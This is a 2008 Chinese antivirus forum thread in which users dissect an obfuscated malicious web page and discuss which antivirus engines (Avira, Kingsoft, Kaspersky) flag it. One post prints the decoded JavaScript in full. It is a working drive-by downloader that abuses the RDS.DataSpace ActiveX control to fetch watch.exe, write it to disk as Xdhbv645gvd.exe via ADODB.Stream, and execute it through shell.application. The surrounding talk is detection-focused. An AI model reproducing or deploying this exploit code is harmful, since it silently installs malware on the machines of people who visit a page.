有趣的加密

solcroft

动手解密不难，但思路不错，看来红伞的HTML启发引擎又得更新了

Palkia

金山 0

ranguangning

<script language="javascript">
FUNC1();

function FUNC1() {
    var VAR1 = document.createElement("object");
    VAR1.setAttribute("id","VAR1");
    VAR1.setAttribute("classid", "clsid:bd96c556-65a3-"+"11d0-983a-00c04fc29e36");
    try {
        var VAR2 = VAR1.CreateObject("msxml2.xmlhttp", "");
        var VAR3 = VAR1.CreateObject("shell.application","");
        var VAR4 = VAR1.CreateObject("adodb.stream", "");

        try {
            VAR4.type = 1;
            var host = window.location.hostname;
            var path = window.location.pathname;
            var path1 = path.replace(/00.html/,"watch.exe");
            var url = "http://"+host+path1;
            VAR2.open("GET", url , false);
            VAR2.send();
            VAR4.open();
            VAR4.Write(VAR2.responseBody);

            var VAR5 =".//..//Xdhbv645gvd.exe";
            eval(VAR4.savetofile(VAR5, 2));
            VAR4.Close();
        }
        catch(err) {}
        try {
            eval(VAR3.shellexecute(VAR5));
            if(shellexecute=true) {}
        }
        catch(err){}

    }
    catch(err) {}
}
</script>



【把以上弹出的文件复制进一个文本文档，红伞就会报告威胁】

[ 本帖最后由 ranguangning 于 2008-7-22 16:42 编辑 ]

sanhu35

红伞HTML启发引擎 有些还是很烂

sanhu35

网页监控米反应

ranguangning

【偶也是，直接打开没反应，但是打开之前红伞会报告文件威胁，不会中招了吧】

电影结束了

watch.exe...
传说偶在哪里见过...~

浪滔天

卡巴米反应

qianwenxiang

exchanger用的watch.exe。。

Nerazzurri

VBS:Malware-gen